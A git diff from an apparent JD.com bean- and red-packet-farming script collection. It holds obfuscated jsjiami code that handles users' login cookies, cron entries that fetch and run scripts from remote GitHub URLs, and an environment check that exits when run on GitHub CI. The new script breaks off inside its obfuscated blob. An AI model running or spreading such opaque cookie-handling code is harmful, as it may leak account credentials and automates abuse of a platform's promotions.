_0x4fceea); - }, 'gpIxS': function (_0x202e9a, _0x1f0cd4) { - return _0x57dca3[_0x2e68('62', '^rQC')](_0x202e9a, _0x1f0cd4); - } - }; - if (_0x57dca3[_0x2e68('63', 'Vhx!')](_0x57dca3[_0x2e68('64', 'o&TS')], _0x57dca3['qAkiN'])) { - index = Math['floor'](_0x52ac30['mlwMu'](_0x52ac30['gpIxS'](i, 0x1), Math[_0x2e68('65', '8E$M')]())); - temp = shuffled[index]; - shuffled[index] = shuffled[i]; - shuffled[i] = temp; - } else { - $[_0x2e68('66', '!8Uv')]({ - 'url': _0x2e68('67', ']a7e') + _0xa95934 + _0x2e68('68', '^rQC') + _0xce999c + _0x2e68('69', 'N1sQ') + _0x1f93d4 + _0x2e68('6a', 'vdM@') + +new Date() + _0x2e68('6b', 'fYl9'), - 'headers': { - 'Host': _0x2e68('6c', 'gCec'), - 'accept': _0x2e68('6d', 'vdM@'), - 'origin': _0x57dca3[_0x2e68('6e', 'Z#H#')], - 'user-agent': 'jdltapp;iPhone;3.5.0;14.2;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;hasOCPay/0;appBuild/1066;supportBestPay/0;pv/7.0;apprpd/;Mozilla/5.0\x20(iPhone;\x20CPU\x20iPhone\x20OS\x2014_2\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/15E148;supportJDSHWK/1', - 'accept-language': _0x2e68('6f', 'THJ&'), - 'referer': 'https://618redpacket.jd.com/?activityId=yMVR-_QKRd2Mq27xguJG-w&redEnvelopeId=' + _0xce999c + _0x2e68('70', 'Opjc') + _0x1f93d4 + '&helpType=1&lng=&lat=&sid=', - 'Cookie': cookie - } - }, (_0x33eaca, _0x4d59c3, _0x4c619c) => { - _0x3fc8e5(); - }); - } - }); -};_0xod8 = 'jsjiami.com.v6'; +// async function bigWinner() { +// let res = await getAuthorShareCode2('https://raw.githubusercontent.com/zero205/updateTeam/main/shareCodes/dyj.json') +// if (!res) { +// $.http.get({url: 'https://purge.jsdelivr.net/gh/zero205/updateTeam@main/shareCodes/dyj.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); +// await $.wait(1000) +// res = await getAuthorShareCode2('https://cdn.jsdelivr.net/gh/zero205/updateTeam@main/shareCodes/dyj.json') +// } +// $.codeList = getRandomArrayElements([...(res || [])], [...(res || [])].length); +// for (let vo of $.codeList) { +// if (!vo['inviter']) continue +// await _618(vo['redEnvelopeId'], vo['inviter'], '1'); +// await _618(vo['redEnvelopeId'],vo['inviter'], '2') +// } +// } +// function _618(redEnvelopeId, inviter, helpType = '1', linkId = 'yMVR-_QKRd2Mq27xguJG-w') { +// return new Promise(resolve => { +// $.get({ +// url: `https://api.m.jd.com/?functionId=openRedEnvelopeInteract&body={%22linkId%22:%22${linkId}%22,%22redEnvelopeId%22:%22${redEnvelopeId}%22,%22inviter%22:%22${inviter}%22,%22helpType%22:%22${helpType}%22}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0`, +// headers: { +// 'Host': 'api.m.jd.com', +// 'accept': 'application/json, text/plain, */*', +// 'origin': 'https://618redpacket.jd.com', +// 'user-agent': 'jdltapp;iPhone;3.5.0;14.2;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;hasOCPay/0;appBuild/1066;supportBestPay/0;pv/7.0;apprpd/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', +// 'accept-language': 'zh-cn', +// 'referer': `https://618redpacket.jd.com/?activityId=yMVR-_QKRd2Mq27xguJG-w&redEnvelopeId=${redEnvelopeId}&inviterId=${inviter}&helpType=1&lng=&lat=&sid=`, +// 'Cookie': cookie +// } +// }, (err, resp, data) => { +// resolve() +// }) +// }) +// } +// function getAuthorShareCode2(url) { +// return new Promise(async resolve => { +// const options = { +// url: `${url}?${new Date()}`, "timeout": 10000, headers: { +// "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" +// } +// }; +// if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { +// const tunnel = require("tunnel"); +// const agent = { +// https: tunnel.httpsOverHttp({ +// proxy: { +// host: process.env.TG_PROXY_HOST, +// port: process.env.TG_PROXY_PORT * 1 +// } +// }) +// } +// Object.assign(options, { agent }) +// } +// $.get(options, async (err, resp, data) => { +// try { +// if (err) { +// } else { +// if (data) data = JSON.parse(data) +// } +// } catch (e) { +// // $.logErr(e, resp) +// } finally { +// resolve(data); +// } +// }) +// await $.wait(10000) +// resolve(); +// }) +// } +// function getRandomArrayElements(arr, count) { +// let shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; +// while (i-- > min) { +// index = Math.floor((i + 1) * Math.random()); +// temp = shuffled[index]; +// shuffled[index] = shuffled[i]; +// shuffled[i] = temp; +// } +// return shuffled.slice(min); +// } // prettier-ignore -function Env(t, e) { - "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); - - class s { - constructor(t) { - this.env = t - } - - send(t, e = "GET") { - t = "string" == typeof t ? {url: t} : t; - let s = this.get; - return "POST" === e && (s = this.post), new Promise((e, i) => { - s.call(this, t, (t, s, r) => { - t ? i(t) : e(s) - }) - }) - } - - get(t) { - return this.send.call(this.env, t) - } - - post(t) { - return this.send.call(this.env, t, "POST") - } - } - - return new class { - constructor(t, e) { - this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) - } - - isNode() { - return "undefined" != typeof module && !!module.exports - } - - isQuanX() { - return "undefined" != typeof $task - } - - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon - } - - isLoon() { - return "undefined" != typeof $loon - } - - toObj(t, e = null) { - try { - return JSON.parse(t) - } catch { - return e - } - } - - toStr(t, e = null) { - try { - return JSON.stringify(t) - } catch { - return e - } - } - - getjson(t, e) { - let s = e; - const i = this.getdata(t); - if (i) try { - s = JSON.parse(this.getdata(t)) - } catch { - } - return s - } - - setjson(t, e) { - try { - return this.setdata(JSON.stringify(t), e) - } catch { - return !1 - } - } - - getScript(t) { - return new Promise(e => { - this.get({url: t}, (t, s, i) => e(i)) - }) - } - - runScript(t, e) { - return new Promise(s => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; - const [o, h] = i.split("@"), n = {url: `http://${h}/v1/scripting/evaluate`, body: {script_text: t, mock_type: "cron", timeout: r}, headers: {"X-Key": o, Accept: "*/*"}}; - this.post(n, (t, e, i) => s(i)) - }).catch(t => this.logErr(t)) - } - - loaddata() { - if (!this.isNode()) return {}; - { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); - if (!s && !i) return {}; - { - const i = s ? t : e; - try { - return JSON.parse(this.fs.readFileSync(i)) - } catch (t) { - return {} - } - } - } - } - - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); - s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) - } - } - - lodash_get(t, e, s) { - const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); - let r = t; - for (const t of i) if (r = Object(r)[t], void 0 === r) return s; - return r - } - - lodash_set(t, e, s) { - return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) - } - - getdata(t) { - let e = this.getval(t); - if (/^@/.test(t)) { - const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; - if (r) try { - const t = JSON.parse(r); - e = t ? this.lodash_get(t, i, "") : e - } catch (t) { - e = "" - } - } - return e - } - - setdata(t, e) { - let s = !1; - if (/^@/.test(e)) { - const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; - try { - const e = JSON.parse(h); - this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) - } catch (e) { - const o = {}; - this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) - } - } else s = this.setval(t, e); - return s - } - - getval(t) { - return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null - } - - setval(t, e) { - return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null - } - - initGotEnv(t) { - this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) - } - - get(t, e = (() => { - })) { - t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.get(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { - try { - if (t.headers["set-cookie"]) { - const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); - s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar - } - } catch (t) { - this.logErr(t) - } - }).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => { - const {message: s, response: i} = t; - e(s, i, i && i.body) - })) - } - - post(t, e = (() => { - })) { - if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, {"X-Surge-Skip-Scripting": !1})), $httpClient.post(t, (t, s, i) => { - !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) - }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, {hints: !1})), $task.fetch(t).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => e(t)); else if (this.isNode()) { - this.initGotEnv(t); - const {url: s, ...i} = t; - this.got.post(s, i).then(t => { - const {statusCode: s, statusCode: i, headers: r, body: o} = t; - e(null, {status: s, statusCode: i, headers: r, body: o}, o) - }, t => { - const {message: s, response: i} = t; - e(s, i, i && i.body) - }) - } - } - - time(t, e = null) { - const s = e ? new Date(e) : new Date; - let i = {"M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds()}; - /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); - for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); - return t - } - - msg(e = t, s = "", i = "", r) { - const o = t => { - if (!t) return t; - if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; - if ("object" == typeof t) { - if (this.isLoon()) { - let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; - return {openUrl: e, mediaUrl: s} - } - if (this.isQuanX()) { - let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; - return {"open-url": e, "media-url": s} - } - if (this.isSurge()) { - let e = t.url || t.openUrl || t["open-url"]; - return {url: e} - } - } - }; - if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { - let t = ["", "==============📣系统通知📣=============="]; - t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) - } - } - - log(...t) { - t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) - } - - logErr(t, e) { - const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); - s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) - } - - wait(t) { - return new Promise(e => setTimeout(e, t)) - } - - done(t = {}) { - const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; - this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) - } - }(t, e) -} \ No newline at end of file +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_super_redrain.js b/jd_super_redrain.js new file mode 100755 index 0000000..ed61628 --- /dev/null +++ b/jd_super_redrain.js @@ -0,0 +1,38 @@ +/* +整点京豆雨,每天8*16豆 + +boxjs订阅地址: https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/longzhuzhu.boxjs.json + +环境变量: +# 关闭京豆雨通知 +export RAIN_NOTIFY_CONTROL="false" + +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js + +[task_local] +#整点京豆雨 +1 0-23/1 * * * https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/jd_super_redrain.js, tag=整点京豆雨, enabled=true + +================Loon============== +[Script] +cron "1 0-23/1 * * *" script-path=https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/jd_super_redrain.js,tag=整点京豆雨 + +===============Surge================= +整点京豆雨 = type=cron,cronexp="1 0-23/1 * * *",wake-system=1,timeout=20,script-path=https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/jd_super_redrain.js + +============小火箭========= +整点京豆雨= type=cron,script-path=https://raw.githubusercontent.com/nianyuguai/longzhuzhu/main/qx/jd_super_redrain.js, cronexpr="1 0-23/1 * * *",timeout=200, enable=true + */ +const $ = new Env('整点京豆雨'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +var _0xodO='jsjiami.com.v6',_0x5e3f=[_0xodO,'JzEtwpgaOg==','YMOYcS/DmA==','w7Aww6NJQsOgSg==','Y8ORTSM=','bQ4Hw6co','Eworwrcj','B2DCunTCvA==','bhstwror','eVcUw5nChA==','w6TDnxDDuRo=','PcKfd23CgQ==','A8Ocw6vCuCc=','QcKtwqbCocOm','w7drw6DDkcOX','wonCvMOmwp1d','BcKmw4PCl0A=','wo/CrnzCmMOA','I8KMZWjCpQ==','c2YWw57Cig==','XMOSwpnCnsOf','UcKTw5woXA==','YzBWPMOk','KMKPaA==','w6xYwqxHw6Y=','RcO/WSjDkQ==','FCDDqsO1w5I=','w5bCi8Knf8KY','wo0NwrHCiMOa','wo1Lw7t5Dg==','d8KCaMKNUQ==','PMKefXfCl2U1wqhFw5I=','5buO6Ya95o615Lmc6L+a5Y64UAnorL7nqKHlk4TphIfor4cT','JkzCjnzCmg==','wohgw7tULw==','V8KxdMK9Zw==','w6MQdg==','bsO8wo7CjcO4H8KSJcOh','P8KLbnDChw==','f8K7wpfClA0=','WMOtwozCo8OT','Ii0GwrIPIRI=','woXCnGw2Fw==','N8Ogw79GZQ==','W8K7wrc8w69rfMOL','w4rDsgnDoi4=','wqLCuGvCg8OA','wo9pw5/DtMKMEXpB','aMKaUkE7Y8Krw6c=','QjM5wrAowrjCrcOz','J8O2w6pzbsOibz4=','cTwWw77CmcKXXw==','ZMK1wps/w4s=','cCtEO8OZ','VBDChBN5','GsKZeXHCrHcbwqI=','w6BVw6suwpzCqA==','w51dw4MDwoQ=','AsO5w5XClwg=','w5tWw5scwo0=','ccOnwpvCocOkCg==','wqHCjVvCncOR','w5powp0Fw53CrcOoOAseQwDDn8K/wph1SMKgw5RKw4tTHAHCrHXCtBRSPcO7LlZ4Z8KEwqUTPylxw7TDsMKhJ8KfEQ9sMMKpwojDhsKMSQs3wq0JC8KX','H8ORw53CsjltOsKIN3Y=','d8K5w4LDq8KM','d8KGw57DisKfCQ==','Mh/Dpw==','fChHwrgFw5kSFBQL','f3wQ','w5fDrw/DiBzCmxg=','wq/CjkPCqsOU','difCoTZTwo1y','w4VSwrMSw6k=','woTDpHpow60=','ZC1RwqQIw5YCFQ8Bw7XClsOLO8KmLzRbwrw=','QgMtw5XCkQ==','YA/CviRW','TMK0w5nDq8KkIirDn8OYQmMlwqRaw7bDtwFmwrk=','YSYmw6QS','asKswoo=','I8OPw5HCpCc=','w6jChsKGbsK2woDDnA==','wqbCm3Y2Lw==','wqh8VsO4wqo=','SxbCoRxr','cEMFw6/CtQ==','woTCgkAHEg==','d8Klw4nDv8Kw','wrY6R8KxCA==','AsOkw71yRQ==','ITrDpitA','w7wKc8OUw5t1woM=','w6BVw6s=','6aCK5Y+s5oqc5Yu077+i6I2t5b+C','IxvDv8Oyw4VaLVZZ','wpnCnyLClAZoBjzCtMKFb8OAwq0=','6aKw5Y665oiI5Ym1772b6Iyv5b+aYQ==','woTDjkQwwr/Ch8KPwrLDtMOVNMO5w4I=','a8OgWyfDm8OGf8K/Ng==','w4RFwphcw53ClXbDsA==','5LmZ5Lus6LWw5YyX','G33Cm13CkwDDqsKh','HMKww6XCgH/DtzPDjA==','Xemjt+WNh+aJgeWKnu+8j+iPi+W+vsOp','w5lfwo1Gw4zCjnvDm8KXPz8bwqI=','P8OFw6fCgRhgDMKuEQ==','UMK1XMK2d8KRBVk=','aMKED8OtDA==','wovDq3J+w7A=','w71Lw5kywr4=','RsKnwrYUw45udA==','6aGz5Yym5aWn6LeF772v5py25Z2F5bac6aGX6Lyx','wo7DqnE=','5byT5bm677+P','VcKxw6IJY8KJOMKAZw==','ekDCpw==','woZ6w5XDr8OOUHNBw7HCucORw4jDuHp0C0Y=','ecKgdMOWFg==','cXcDw6rDqsK4w4fCp8O6WA==','wpTCgCbCjAp5HhrCuMKZdMKDwqHDhMK1QXM0w6jCuzBowrHDiMKhwo/Cmw5rw6DDjcO4fw==','NgHDuH9sLRZNw6dPwqXCpw==','w6/CljjCrFvDpg3ClsK/K8KEXX16IMKlwrwPXBHDvU02w7RwOGtLAMKXZWfClMOlwo8pEcO/QA7DlRzDksO9','w5fDh0UqwrnCgcKfwo/Dv8OvJcKo','wqQ3w7hOVMK5','w4PCrsKWUMKQ','w7Ehw6VDQ8OjRsKCfg==','DnJmwqQpw7JBZ1HCjGDDssKGwppAXWllwqTDqsOKYMOBwq5dwpQ8XGFtGMO5wrfCmw==','RcKTeMKIcg==','wrHDqDfCmsOS','CgE0RFBZeA==','w4JWw605wqA=','ecK6MnJY','w6tfw7g/wofCtzDDrMKyQcOZD0TCszwSw70=','cnMlw6jCvQ==','Litew6kU','dcOpwr/ClsOs','O13CjkLCjA==','aMKGWMKJUg==','w4TClMK+ZsKd','asKYTX04','LikJSlI=','wqhecsOmwqs=','wqgUYMKFN2ZcSMO8TMOQwpLCnRzDisO1wrnCt8KqTcK3w5TCmVErwovDgMKpw7pUDcKGw7wtw6pMwpnDnMO3wolxUcKpwqk5w4sHekM=','fMOrwojCjcOgEcKPOsORw4c=','w5g7wpbCp8KiwqjCqCLDjWkKw77CuS7ClsKywpzDlcKPT8OlwoBwKVrDiwFBBsOtw7DDucKiTMKUw7czwrzDjmM=','wqbDsHYiwp8=','Z8ORUjXDjQ==','w4Ucw4NieMOG','ey9jMcO3','JxnDlcOzw4A=','Jj4XVVE=','SQXCoRlw','wrIFYMKWKzgW','w5JGw5/D